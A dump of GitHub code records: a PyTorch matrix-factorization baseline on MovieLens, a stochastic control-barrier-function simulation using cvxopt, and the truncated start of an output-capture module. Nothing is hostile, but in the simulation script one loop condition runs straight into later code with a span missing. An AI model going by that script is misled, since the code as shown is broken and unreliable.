"horovod.tensorflow.keras", "line_number": 43, "usage_type": "name"}, {"api_name": "horovod.tensorflow.keras.DistributedOptimizer", "line_number": 46, "usage_type": "call"}, {"api_name": "horovod.tensorflow.keras", "line_number": 46, "usage_type": "name"}, {"api_name": "tensorflow.losses.SparseCategoricalCrossentropy", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.losses", "line_number": 50, "usage_type": "attribute"}, {"api_name": "horovod.tensorflow.keras.callbacks.BroadcastGlobalVariablesCallback", "line_number": 59, "usage_type": "call"}, {"api_name": "horovod.tensorflow.keras.callbacks", "line_number": 59, "usage_type": "attribute"}, {"api_name": "horovod.tensorflow.keras", "line_number": 59, "usage_type": "name"}, {"api_name": "horovod.tensorflow.keras.callbacks.MetricAverageCallback", "line_number": 65, "usage_type": "call"}, {"api_name": "horovod.tensorflow.keras.callbacks", "line_number": 65, "usage_type": "attribute"}, {"api_name": "horovod.tensorflow.keras", "line_number": 65, "usage_type": "name"}, {"api_name": "horovod.tensorflow.keras.callbacks.LearningRateWarmupCallback", "line_number": 70, "usage_type": "call"}, {"api_name": "horovod.tensorflow.keras.callbacks", "line_number": 70, "usage_type": "attribute"}, {"api_name": "horovod.tensorflow.keras", "line_number": 70, "usage_type": "name"}, {"api_name": "horovod.tensorflow.keras.rank", "line_number": 74, "usage_type": "call"}, {"api_name": "horovod.tensorflow.keras", "line_number": 74, "usage_type": "name"}, {"api_name": "tensorflow.keras.callbacks.ModelCheckpoint", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 75, "usage_type": "attribute"}, {"api_name": "horovod.tensorflow.keras.rank", "line_number": 78, "usage_type": "call"}, {"api_name": "horovod.tensorflow.keras", "line_number": 78, "usage_type": "name"}, {"api_name": "horovod.tensorflow.keras.size", "line_number": 82, "usage_type": "call"}, {"api_name": "horovod.tensorflow.keras", "line_number": 82, "usage_type": "name"}]} +{"seq_id": "27063500441", "text": "import sys\nimport numpy as np\nimport torch\nimport pandas as pd\nimport pickle\nimport math\nimport time\n\n\n\nEPOCHS = 500\nBATCH_SIZE = 32\nEVAL_BATCH_SIZE = 500\nis_cuda = True\nis_biased = True\nverbose = False\n\n\n# Load and preprocess data\ntrain = pd.read_pickle(\"../data/ml-1m-split/train.pkl\")\nval = pd.read_pickle(\"../data/ml-1m-split/val.pkl\")\n\ntrain = train.sample(frac=1) # Shuffle the training set\n\n\n# Data constants\nNUM_USERS = 6040\nNUM_ITEMS = 3706\n\nGLOBAL_AVERAGE = train[\"rating\"].mean()\n\ncos = torch.nn.CosineSimilarity()\n\n\nclass MatrixFactorization(torch.nn.Module):\n\n def __init__(self, num_users, num_items, num_factors):\n super().__init__()\n self.user_factors = torch.nn.Embedding(num_users, num_factors, max_norm=1, sparse=True)\n self.item_factors = torch.nn.Embedding(num_items, num_factors, max_norm=1, sparse=True)\n\n self.user_factors.weight.data.uniform_(-0.25, 0.25)\n self.item_factors.weight.data.uniform_(-0.25, 0.25)\n\n def forward(self, users, items):\n return (cos(self.user_factors(users), self.item_factors(items)) * 2.25) + 2.75\n\n\n\nclass BiasedMatrixFactorization(torch.nn.Module):\n\n def __init__(self, num_users, num_items, num_factors):\n super().__init__()\n self.user_factors = torch.nn.Embedding(num_users, num_factors, sparse=False)\n self.item_factors = torch.nn.Embedding(num_items, num_factors, sparse=False)\n self.user_biases = torch.nn.Embedding(num_users, 1, sparse=False)\n self.item_biases = torch.nn.Embedding(num_items, 1, sparse=False)\n\n self.user_factors.weight.data.uniform_(-0.25, 0.25)\n self.item_factors.weight.data.uniform_(-0.25, 0.25)\n self.user_biases.weight.data.uniform_(-0.25, 0.25)\n self.item_biases.weight.data.uniform_(-0.25, 0.25)\n\n def forward(self, users, items):\n return GLOBAL_AVERAGE + self.user_biases(users).squeeze(dim=1) + self.item_biases(items).squeeze(dim=1) \\\n + torch.diagonal(torch.mm(self.user_factors(users), torch.transpose(self.item_factors(items), 0, 1)))\n\n\n\ndef train_model(num_factors, learning_rate, weight_decay):\n\n if is_cuda:\n if is_biased:\n model = BiasedMatrixFactorization(NUM_USERS, NUM_ITEMS, num_factors).cuda()\n else:\n model = MatrixFactorization(NUM_USERS, NUM_ITEMS, num_factors).cuda()\n long_type = torch.cuda.LongTensor\n float_type = torch.cuda.FloatTensor\n torch.backends.cudnn.benchmark=True\n else:\n if is_biased:\n model = BiasedMatrixFactorization(NUM_USERS, NUM_ITEMS, num_factors)\n else:\n model = MatrixFactorization(NUM_USERS, NUM_ITEMS, num_factors)\n long_type = torch.LongTensor\n float_type = torch.FloatTensor\n\n loss_fn = torch.nn.MSELoss()\n optimizer = torch.optim.SGD(model.parameters(), lr=learning_rate, weight_decay=weight_decay)\n\n def evaluate_model(df):\n EVAL_BATCH_SIZE = 500\n losses = []\n for j in range(0, math.ceil(df.shape[0] / EVAL_BATCH_SIZE)):\n batch = df.iloc[j * EVAL_BATCH_SIZE : (j + 1) * EVAL_BATCH_SIZE]\n users = torch.Tensor(batch[\"user\"].values).type(long_type)\n items = torch.Tensor(batch[\"item\"].values).type(long_type)\n ratings = torch.Tensor(batch[\"rating\"].values).type(float_type)\n predictions = model(users, items)\n loss = loss_fn(predictions, ratings)\n losses.append(loss.item())\n\n return np.sqrt(np.mean(losses))\n\n\n train_losses = np.zeros(EPOCHS)\n val_losses = np.zeros(EPOCHS)\n\n for i in range(EPOCHS):\n n = 0\n # time1 = time.time()\n # time2 = time1\n for j in range(0, math.ceil(train.shape[0] / BATCH_SIZE)):\n #for row in train.itertuples(index=False):\n # time1 = time.time()\n # print(\"Time Elapsed 1: {}\".format(time1 - time2))\n batch = train.iloc[j * BATCH_SIZE : (j + 1) * BATCH_SIZE]\n users = torch.Tensor(batch[\"user\"].values).type(long_type)\n items = torch.Tensor(batch[\"item\"].values).type(long_type)\n ratings = torch.Tensor(batch[\"rating\"].values).type(float_type)\n predictions = model(users, items)\n loss = loss_fn(predictions, ratings)\n loss.backward()\n optimizer.step()\n model.zero_grad()\n \n if verbose and (n % 1000 == 0):\n print(n)\n print(\"Loss: {}\".format(loss.item()))\n # print(\"User embedding: {}\".format(model.user_factors(users)))\n # print(\"Movie embedding: {}\".format(model.item_factors(items)))\n # if is_biased:\n # print(\"User bias: {}\".format(model.user_biases(users)))\n # print(\"Movie bias: {}\".format(model.item_biases(items)))\n # print(\"Prediction: {}\".format(predictions[0]))\n # print(\"Rating: {}\".format(ratings[0]))\n # print(\"Diff: {}\\n\".format(abs(predictions[0] - ratings[0])))\n n += 1\n\n # time2 = time.time()\n # print(\"Time Elapsed 2: {}\".format(time2 - time1))\n \n train_loss = evaluate_model(train)\n val_loss = evaluate_model(val)\n\n # Calling .item() releases the copy of the computational graph stored in loss\n train_losses[i] = train_loss.item()\n val_losses[i] = val_loss.item()\n\n print(\"============== EPOCH {} ==============\\nTrain RMSE = {}\\nValidation RMSE = {}\\n\"\\\n .format(i + 1, train_loss, val_loss))\n \n result_path = \"../results/biasedmf_{}_{}_{}\".format(num_factors, learning_rate, weight_decay)\n #model_path = \"../models/{}_{}_{}.pt\".format(num_factors, learning_rate, is_biased)\n\n np.save(result_path, [train_losses, val_losses])\n #torch.save(model.state_dict(), model_path)\n\n \n\n\n\n\n\nif __name__ == '__main__':\n args = sys.argv\n if len(args) >= 4:\n train_model(int(args[1]), float(args[2]), (float(args[3])))\n\n \n\n\n\n\n\n", "repo_name": "andrewsingh/10417-project", "sub_path": "scripts/baseline.py", "file_name": "baseline.py", "file_ext": "py", "file_size_in_byte": 5575, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.read_pickle", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn.CosineSimilarity", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.nn.Embedding", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.nn.Embedding", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.nn.Embedding", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.nn.Embedding", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 55, "usage_type": "attribute"}, {"api_name": "torch.nn.Embedding", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.nn.Embedding", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.diagonal", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.mm", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 77, "usage_type": "attribute"}, {"api_name": "torch.cuda", "line_number": 78, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 79, "usage_type": "attribute"}, {"api_name": "torch.LongTensor", "line_number": 85, "usage_type": "attribute"}, {"api_name": "torch.FloatTensor", "line_number": 86, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 88, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 89, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 107, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 156, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 166, "usage_type": "attribute"}]} +{"seq_id": "7279449019", "text": "import numpy as np\r\nfrom scipy.integrate import odeint\r\nfrom sympy import symbols, Matrix, sin, cos, lambdify, exp, sqrt, log\r\nimport matplotlib.pyplot as plt \r\nimport cvxopt as cvxopt\r\n\r\n\r\ndef cvxopt_solve_qp(P, q, G=None, h=None, A=None, b=None):\r\n P = .5 * (P + P.T) # make sure P is symmetric\r\n args = [cvxopt.matrix(P), cvxopt.matrix(q)]\r\n if G is not None:\r\n args.extend([cvxopt.matrix(G), cvxopt.matrix(h)])\r\n if A is not None:\r\n args.extend([cvxopt.matrix(A), cvxopt.matrix(b)])\r\n sol = cvxopt.solvers.qp(*args)\r\n if 'optimal' not in sol['status']:\r\n return None\r\n return np.array(sol['x']).reshape((P.shape[1],))\r\n\r\n#Symbolic Variables\r\nt = symbols('t')\r\nxr1,xr2,xr3,xo1,xo2 = symbols('xr1 xr2 xr3 xo1 xo2')\r\nu1,u2 = symbols('u1,u2')\r\nx_r_s = Matrix([xr1,xr2,xr3])\r\nx_o_s = Matrix([xo1,xo2])\r\nu_s = Matrix([u1,u2])\r\n\r\n#Scenario parameters\r\nx_r = np.array([0,0,0])\r\nx_o = np.array([[-7,1],[-5,1],[-1, 1], [2.5,1],[5.5,1] ,[-10,2], [-7,2],[-1,2], [0.45,2],[5,2], [-2,0], [3,0], [-.5, 3], [3,3],[-4,3]])\r\nU = np.array([[0,2],[-np.pi/6,np.pi/6]])\r\nT = 1\r\nSimTime = 25\r\nl = 0.01\r\nu1d = 1.2\r\np = 0.1\r\nGoalCenter = np.array([10, 3])\r\nr = 0.5\r\nrG = np.power(0.1,2)\r\nrLane = np.power(0.5,2)\r\ngamma = 5\r\n\r\n#Dynamic & Stochastic systems\r\nf = Matrix([0,0,0])\r\ng = Matrix([[cos(x_r_s[2]), -l*sin(x_r_s[2])], [sin(x_r_s[2]), l*cos(x_r_s[2])], [0, 1]])\r\nf_r = f+g*u_s\r\n\r\nReal_x_r = lambdify([x_r_s], x_r_s-Matrix([l*cos(x_r_s[2]), l*sin(x_r_s[2]), 0]))\r\n\r\nf_o = Matrix([1.5,0])\r\ng_o = Matrix([0.2, 0])\r\n\r\nf_o_fun = lambdify([x_o_s], f_o)\r\ng_o_fun = lambdify([x_o_s], g_o)\r\n\r\n# Plotting options \r\nplotit = 1\r\nplotlanes = 1\r\n\r\n# Unsafe and Goal sets and functions\r\nclass Unsafe:\r\n def init(self):\r\n self.Uset = []\r\n self.CBF = []\r\n self.multCond = []\r\n self.ConstCond = []\r\nclass Goal:\r\n def init(self):\r\n self.Gset = []\r\n self.Lyap = [] \r\n \r\nUnsafe = Unsafe() \r\nUnsafe.init()\r\nGoal = Goal()\r\nGoal.init()\r\n\r\nfor i in range(len(x_o)):\r\n Uset = (x_r_s[0]-x_o_s[0])**2+(x_r_s[1]-x_o_s[1])**2-(r+l)**2\r\n CBF = exp(-gamma*Uset)\r\n CBF_d = CBF.diff(Matrix([x_r_s,x_o_s]))\r\n CBF_d2 = CBF.diff(x_o_s,2) \r\n Unsafe.Uset.append(lambdify([x_r_s,x_o_s], Uset))\r\n Unsafe.CBF.append(lambdify([x_r_s,x_o_s], CBF))\r\n Unsafe.ConstCond.append(lambdify([x_r_s,x_o_s] , CBF_d.T*Matrix([f,f_o])+0.5*(g_o.T*Matrix([[Matrix(CBF_d2[0,0]),Matrix(CBF_d2[1,0])]])*g_o)))\r\n Unsafe.multCond.append(lambdify([x_r_s,x_o_s,u_s], CBF_d.T*Matrix([g*u_s, Matrix(np.zeros((len(x_o_s),1)))])))\r\n\r\nGset = (x_r_s[1]-GoalCenter[1])**2-rG\r\nGoal.Gset.append(lambdify([x_r_s],Gset))\r\nGoal.Lyap.append(lambdify([x_r_s,u_s],Gset.diff(x_r_s).T*f_r))\r\n\r\n#Obstacles\r\nnp.random.seed(1)\r\ndt = 0.01\r\nN =int(SimTime/dt)\r\ndW = sqrt(dt)*np.random.normal(0, 1, (len(x_o), N))\r\n\r\nx_o_traj = np.zeros((N,len(x_o_s),len(x_o)))\r\nfor j in range(len(x_o)):\r\n x_o_traj[0,:,j] = x_o[j]\r\n for i in range(N-1):\r\n x_o_traj[i+1,:,j] = x_o_traj[i,:,j] + np.squeeze(f_o_fun(x_o_traj[i,:,j])*dt + g_o_fun(x_o_traj[i,:,j])*dW[j,i]) \r\n \r\n\r\n\r\n#QPs:\r\n\r\ni = -1\r\nUnsafeRadius = 3\r\ncurr_xr = x_r\r\nx_r_traj = x_r\r\nt_traj = 0\r\nuq = []\r\nfid = 0\r\n#UnsafeLists = [];\r\nbmax = np.zeros(N-1)\r\nminDist = np.zeros(N-1)\r\nrisk= np.zeros(N-1)\r\nu_r = np.zeros( (N-1 ,len(u_s)))\r\nr_x_r = np.zeros( (N-1 ,len(x_r_s)))\r\nwhile (Goal.Gset[0](curr_xr)>0 and i0:\r\n if uq[0]>u1d:\r\n ui = max(u1d,uq[0]-0.1)\r\n else:\r\n ui = min(u1d,uq[0]+0.1)\r\n else:\r\n ui = u1d\r\n\r\n ff[0] = -10*ui\r\n ff[1] = 0.5*0.1*curr_xr[2]\r\n ff[-1] = 1\r\n uq = cvxopt_solve_qp(H, ff, A, b)\r\n if uq is None:\r\n print('No feasible solution found')\r\n break \r\n elif len(uq)>2:\r\n bmax[i] = max(uq[2:len(uq)-1])\r\n j = np.where(uq == bmax[i])\r\n r = np.zeros(len(uq)-3)\r\n for k in range(len(uq)-3):\r\n r[k] = max(0,1-(1-Unsafe.CBF[UnsafeList[k]](curr_xr, x_o_traj[i,:,UnsafeList[k]])*exp(-uq[k+2]*T)))\r\n risk[i] = max(r)\r\n else:\r\n bmax[i] = 0\r\n risk[i] = 0\r\n\r\n minDist[i] = min(Dists)\r\n curr_u = uq[0:len(u_s)]\r\n u_r[i,:] = curr_u\r\n Cl_fr = lambdify([x_r_s,t], (f+g*Matrix(curr_u)).T)\r\n def Cl_fr1(x,t):\r\n return list( np.squeeze(Cl_fr(curr_xr,t)))\r\n T_traj = np.linspace(i*dt, (i+1)*dt,20)\r\n sol = odeint(Cl_fr1, list(curr_xr), T_traj)\r\n curr_xr = sol[len(sol)-1,:]\r\n r_x_r[i+1,:] = np.squeeze(Real_x_r(curr_xr))\r\n plt.clf()\r\n plt.axis([-10,35,-1,4])\r\n plt.plot(r_x_r[i,0],r_x_r[i,1],color =\"green\",marker = 's')\r\n for kk in range(len(x_o)):\r\n plt.plot(x_o_traj[i,0,kk],x_o_traj[i,1,kk],color =\"red\",marker = 's')\r\n plt.draw()\r\n plt.pause(.00000000001)\r\nplt.plot(r_x_r[0:i,0],r_x_r[0:i,1],color =\"green\")\r\nplt.show()\r\n\r\n", "repo_name": "tomashdz/control_barrier_function_kit", "sub_path": "stochastic_risk_CBFs_Python/CBF.py", "file_name": "CBF.py", "file_ext": "py", "file_size_in_byte": 7004, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "cvxopt.matrix", "line_number": 10, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 12, "usage_type": "call"}, {"api_name": "cvxopt.matrix", "line_number": 14, "usage_type": "call"}, {"api_name": "cvxopt.solvers.qp", "line_number": 15, "usage_type": "call"}, {"api_name": "cvxopt.solvers", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 21, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 22, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 23, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 24, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 25, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 40, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 44, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 45, "usage_type": "call"}, {"api_name": "sympy.cos", "line_number": 45, "usage_type": "call"}, {"api_name": "sympy.sin", "line_number": 45, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 48, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 48, "usage_type": "call"}, {"api_name": "sympy.cos", "line_number": 48, "usage_type": "call"}, {"api_name": "sympy.sin", "line_number": 48, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 50, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 51, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 53, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 54, "usage_type": "call"}, {"api_name": "sympy.exp", "line_number": 79, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 80, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 82, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 83, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 84, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 84, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 85, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 88, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 92, "usage_type": "attribute"}, {"api_name": "sympy.sqrt", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 138, "usage_type": "call"}, {"api_name": "sympy.log", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.finfo", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 181, "usage_type": "call"}, {"api_name": "sympy.exp", "line_number": 183, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 192, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 195, "usage_type": "call"}, {"api_name": "scipy.integrate.odeint", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 207, "usage_type": "name"}]} +{"seq_id": "24953066379", "text": "import os\nimport sys\nimport py\nimport tempfile\n\ntry:\n from io import StringIO\nexcept ImportError:\n from StringIO import StringIO\n\nif sys.version_info < (3,0):\n class TextIO(StringIO):\n def write(self, data):\n if not isinstance(data, unicode):\n data = unicode(data, getattr(self, '_encoding', 'UTF-8'), 'replace')\n return StringIO.write(self, data)\nelse:\n TextIO = StringIO\n\ntry:\n from io import BytesIO\nexcept ImportError:\n class BytesIO(StringIO):\n def write(self, data):\n if isinstance(data, unicode):\n raise TypeError(\"not a byte value: %r\" %(data,))\n return StringIO.write(self, data)\n\npatchsysdict = {0: 'stdin', 1: 'stdout', 2: 'stderr'}\n\nclass FDCapture:\n \"\"\" Capture IO to/from a given os-level filedescriptor. \"\"\"\n\n def __init__(self, targetfd, tmpfile=None, now=True, patchsys=False):\n \"\"\" save targetfd descriptor, and open a new\n temporary file there. If no tmpfile is\n specified a tempfile.Tempfile() will be opened\n in text mode.\n \"\"\"\n self.targetfd = targetfd\n if tmpfile is None and targetfd != 0:\n f = tempfile.TemporaryFile('wb+')\n tmpfile = dupfile(f, encoding=\"UTF-8\")\n f.close()\n self.tmpfile = tmpfile\n self._savefd = os.dup(self.targetfd)\n if patchsys:\n self._oldsys = getattr(sys, patchsysdict[targetfd])\n if now:\n self.start()\n\n def start(self):\n try:\n os.fstat(self._savefd)\n except OSError:\n raise ValueError(\"saved filedescriptor not valid, \"\n \"did you call start() twice?\")\n if self.targetfd == 0 and not self.tmpfile:\n fd = os.open(devnullpath, os.O_RDONLY)\n os.dup2(fd, 0)\n os.close(fd)\n if hasattr(self, '_oldsys'):\n setattr(sys, patchsysdict[self.targetfd], DontReadFromInput())\n else:\n os.dup2(self.tmpfile.fileno(), self.targetfd)\n if hasattr(self, '_oldsys'):\n setattr(sys, patchsysdict[self.targetfd], self.tmpfile)\n\n def done(self):\n \"\"\" unpatch and clean up, returns the self.tmpfile (file object)\n \"\"\"\n os.dup2(self._savefd, self.targetfd)\n os.close(self._savefd)\n if self.targetfd != 0:\n self.tmpfile.seek(0)\n if hasattr(self, '_oldsys'):\n setattr(sys, patchsysdict[self.targetfd], self._oldsys)\n return self.tmpfile\n\n def writeorg(self, data):\n \"\"\" write a string to the original file descriptor\n \"\"\"\n tempfp = tempfile.TemporaryFile()\n try:\n os.dup2(self._savefd, tempfp.fileno())\n tempfp.write(data)\n finally:\n tempfp.close()\n\n\ndef dupfile(f, mode=None, buffering=0, raising=False, encoding=None):\n \"\"\" return a new open file object that's a duplicate of f\n\n mode is duplicated if not given, 'buffering' controls\n buffer size (defaulting to no buffering) and 'raising'\n defines whether an exception is raised when an incompatible\n file object is passed in (if raising is False, the file\n object itself will be returned)\n \"\"\"\n try:\n fd = f.fileno()\n mode = mode or f.mode\n except AttributeError:\n if raising:\n raise\n return f\n newfd = os.dup(fd)\n if sys.version_info >= (3,0):\n if encoding is not None:\n mode = mode.replace(\"b\", \"\")\n buffering = True\n return os.fdopen(newfd, mode, buffering, encoding, closefd=True)\n else:\n f = os.fdopen(newfd, mode, buffering)\n if encoding is not None:\n return EncodedFile(f, encoding)\n return f\n\nclass EncodedFile(object):\n def __init__(self, _stream, encoding):\n self._stream = _stream\n self.encoding = encoding\n\n def write(self, obj):\n if isinstance(obj, unicode):\n obj = obj.encode(self.encoding)\n elif isinstance(obj, str):\n pass\n else:\n obj = str(obj)\n self._stream.write(obj)\n\n def writelines(self, linelist):\n data = ''.join(linelist)\n self.write(data)\n\n def __getattr__(self, name):\n return getattr(self._stream, name)\n\nclass Capture(object):\n def call(cls, func, *args, **kwargs):\n \"\"\" return a (res, out, err) tuple where\n out and err represent the output/error output\n during function execution.\n call the given function with args/kwargs\n and capture output/error during its execution.\n \"\"\"\n so = cls()\n try:\n res = func(*args, **kwargs)\n finally:\n out, err = so.reset()\n return res, out, err\n call = classmethod(call)\n\n def reset(self):\n \"\"\" reset sys.stdout/stderr and return captured output as strings. \"\"\"\n if hasattr(self, '_reset'):\n raise ValueError(\"was already reset\")\n self._reset = True\n outfile, errfile = self.done(save=False)\n out, err = \"\", \"\"\n if outfile and not outfile.closed:\n out = outfile.read()\n outfile.close()\n if errfile and errfile != outfile and not errfile.closed:\n err = errfile.read()\n errfile.close()\n return out, err\n\n def suspend(self):\n \"\"\" return current snapshot captures, memorize tempfiles. \"\"\"\n outerr = self.readouterr()\n outfile, errfile = self.done()\n return outerr\n\n\nclass StdCaptureFD(Capture):\n \"\"\" This class allows to capture writes to FD1 and FD2\n and may connect a NULL file to FD0 (and prevent\n reads from sys.stdin). If any of the 0,1,2 file descriptors\n is invalid it will not be captured.\n \"\"\"\n def __init__(self, out=True, err=True, mixed=False,\n in_=True, patchsys=True, now=True):\n self._options = {\n \"out\": out,\n \"err\": err,\n \"mixed\": mixed,\n \"in_\": in_,\n \"patchsys\": patchsys,\n \"now\": now,\n }\n self._save()\n if now:\n self.startall()\n\n def _save(self):\n in_ = self._options['in_']\n out = self._options['out']\n err = self._options['err']\n mixed = self._options['mixed']\n patchsys = self._options['patchsys']\n if in_:\n try:\n self.in_ = FDCapture(0, tmpfile=None, now=False,\n patchsys=patchsys)\n except OSError:\n pass\n if out:\n tmpfile = None\n if hasattr(out, 'write'):\n tmpfile = out\n try:\n self.out = FDCapture(1, tmpfile=tmpfile,\n now=False, patchsys=patchsys)\n self._options['out'] = self.out.tmpfile\n except OSError:\n pass\n if err:\n if out and mixed:\n tmpfile = self.out.tmpfile\n elif hasattr(err, 'write'):\n tmpfile = err\n else:\n tmpfile = None\n try:\n self.err = FDCapture(2, tmpfile=tmpfile,\n now=False, patchsys=patchsys)\n self._options['err'] = self.err.tmpfile\n except OSError:\n pass\n\n def startall(self):\n if hasattr(self, 'in_'):\n self.in_.start()\n if hasattr(self, 'out'):\n self.out.start()\n if hasattr(self, 'err'):\n self.err.start()\n\n def resume(self):\n \"\"\" resume capturing with original temp files. \"\"\"\n self.startall()\n\n def done(self, save=True):\n \"\"\" return 